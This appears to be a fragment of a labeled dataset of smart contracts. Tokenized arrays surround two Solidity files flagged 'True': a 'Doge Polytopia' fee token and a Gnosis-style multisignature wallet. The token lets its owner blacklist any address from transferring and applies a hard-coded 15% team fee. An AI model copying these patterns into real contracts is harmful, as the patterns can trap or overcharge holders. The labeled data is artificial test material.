1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-07-03
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DogePolytopia is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Doge Polytopia";
string private constant _symbol = " DPT ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5718,
1011,
6021,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
24856,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.19;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="3a494e5f5c5b54145d5f55485d5f7a595554495f5449434914545f4e">[email protected]</span>>
contract MultiSigWallet {
/**
* Constants
**/
uint constant public MAX_OWNER_COUNT = 50;
/**
* Storage
**/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/**
* Events
**/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/**
* Modifiers
**/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0);
_;
}
/**
* Public functions
**/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i = 0; i < _owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i = 0; i < owners.length - 1; i++) {
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
}
owners.length -= 1;
if (required > owners.length) {
changeRequirement(owners.length);
}
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i = 0; i < owners.length; i++) {
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (txn.destination.call.value(txn.value)(txn.data)) {
Execution(transactionId);
} else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) {
count += 1;
}
if (count == required) {
return true;
}
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) {
count += 1;
}
}
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i = 0; i < transactionCount; i++) {
if ((pending && !transactions[i].executed) || (executed && transactions[i].executed)) {
count += 1;
}
}
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
}
_confirmations = new address[](count);
for (i = 0; i < count; i++) {
_confirmations[i] = confirmationsTemp[i];
}
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
/// @dev Returns list of transaction IDs in defined range.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
require(from <= to || to < transactionCount);
uint[] memory transactionIdsTemp = new uint[](to - from + 1);
uint count = 0;
uint i;
for (i = from; i <= to; i++) {
if ((pending && !transactions[i].executed) || (executed && transactions[i].executed)) {
transactionIdsTemp[count] = i;
count += 1;
}
}
_transactionIds = new uint[](count);
for (i = 0; i < count; i++) {
_transactionIds[i] = transactionIdsTemp[i];
}
}
/// @dev Fallback function allows to deposit ether.
function() public payable {
if (msg.value > 0) {
Deposit(msg.sender, msg.value);
}
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2539,
1025,
1013,
1013,
1013,
1030,
2516,
4800,
5332,
16989,
11244,
15882,
1011,
4473,
3674,
4243,
2000,
5993,
2006,
11817,
2077,
7781,
1012,
1013,
1013,
1013,
1030,
3166,
8852,
2577,
1011,
1026,
1026,
8487,
2465,
1027,
1000,
1035,
1035,
12935,
1035,
10373,
1035,
1035,
1000,
2951,
1011,
12935,
14545,
4014,
1027,
1000,
23842,
26224,
2549,
2063,
2629,
2546,
2629,
2278,
2629,
2497,
27009,
16932,
2629,
2094,
2629,
2546,
24087,
18139,
2629,
2094,
2629,
2546,
2581,
2050,
28154,
24087,
27009,
26224,
2629,
2546,
27009,
26224,
23777,
26224,
16932,
27009,
2629,
2546,
2549,
2063,
1000,
1028,
1031,
10373,
1004,
1001,
8148,
1025,
5123,
1033,
1026,
1013,
8487,
1028,
1028,
3206,
4800,
5332,
2290,
9628,
3388,
1063,
1013,
1008,
1008,
1008,
5377,
2015,
1008,
1008,
1013,
21318,
3372,
5377,
2270,
4098,
1035,
3954,
1035,
4175,
1027,
2753,
1025,
1013,
1008,
1008,
1008,
5527,
1008,
1008,
1013,
12375,
1006,
21318,
3372,
1027,
1028,
12598,
1007,
2270,
11817,
1025,
12375,
1006,
21318,
3372,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
22017,
2140,
1007,
1007,
2270,
13964,
2015,
1025,
12375,
1006,
4769,
1027,
1028,
22017,
2140,
1007,
2270,
11163,
7962,
2121,
1025,
4769,
1031,
1033,
2270,
5608,
1025,
21318,
3372,
2270,
3223,
1025,
21318,
3372,
2270,
12598,
3597,
16671,
1025,
2358,
6820,
6593,
12598,
1063,
4769,
7688,
1025,
21318,
3372,
3643,
1025,
27507,
2951,
1025,
22017,
2140,
6472,
1025,
1065,
1013,
1008,
1008,
1008,
2824,
1008,
1008,
1013,
2724,
13964,
1006,
4769,
25331,
4604,
2121,
1010,
21318,
3372,
25331,
12598,
3593,
1007,
1025,
2724,
7065,
23909,
1006,
4769,
25331,
4604,
2121,
1010,
21318,
3372,
25331,
12598,
3593,
1007,
1025,
2724,
12339,
1006,
21318,
3372,
25331,
12598,
3593,
1007,
1025,
2724,
7781,
1006,
21318,
3372,
25331,
12598,
3593,
1007,
1025,
2724,
7781,
7011,
4014,
5397,
1006,
21318,
3372,
25331,
12598,
3593,
1007,
1025,
2724,
12816,
1006,
4769,
25331,
4604,
2121,
1010,
21318,
3372,
3643,
1007,
1025,
2724,
3954,
4215,
20562,
1006,
4769,
25331,
3954,
1007,
1025,
2724,
3954,
28578,
7103,
2140,
1006,
4769,
25331,
3954,
1007,
1025,
2724,
9095,
22305,
2063,
1006,
21318,
3372,
3223,
1007,
1025,
1013,
1008,
1008,
1008,
16913,
28295,
1008,
1008,
1013,
16913,
18095,
2069,
9628,
3388,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
4769,
1006,
2023,
1007,
1007,
1025,
1035,
1025,
1065,
16913,
18095,
3954,
3527,
2229,
22074,
9048,
3367,
1006,
4769,
3954,
1007,
1063,
5478,
1006,
999,
11163,
7962,
2121,
1031,
3954,
1033,
1007,
1025,
1035,
1025,
1065,
16913,
18095,
3954,
10288,
5130,
1006,
4769,
3954,
1007,
1063,
5478,
1006,
11163,
7962,
2121,
1031,
3954,
1033,
1007,
1025,
1035,
1025,
1065,
16913,
18095,
12598,
10288,
5130,
1006,
21318,
3372,
12598,
3593,
1007,
1063,
5478,
1006,
11817,
1031,
12598,
3593,
1033,
1012,
7688,
999,
1027,
1014,
1007,
1025,
1035,
1025,
1065,
16913,
18095,
4484,
1006,
21318,
3372,
12598,
3593,
1010,
4769,
3954,
1007,
1063,
5478,
1006,
13964,
2015,
1031,
12598,
3593,
1033,
1031,
3954,
1033,
1007,
1025,
1035,
1025,
1065,
16913,
18095,
2025,
8663,
23141,
1006,
21318,
3372,
12598,
3593,
1010,
4769,
3954,
1007,
1063,
5478,
1006,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
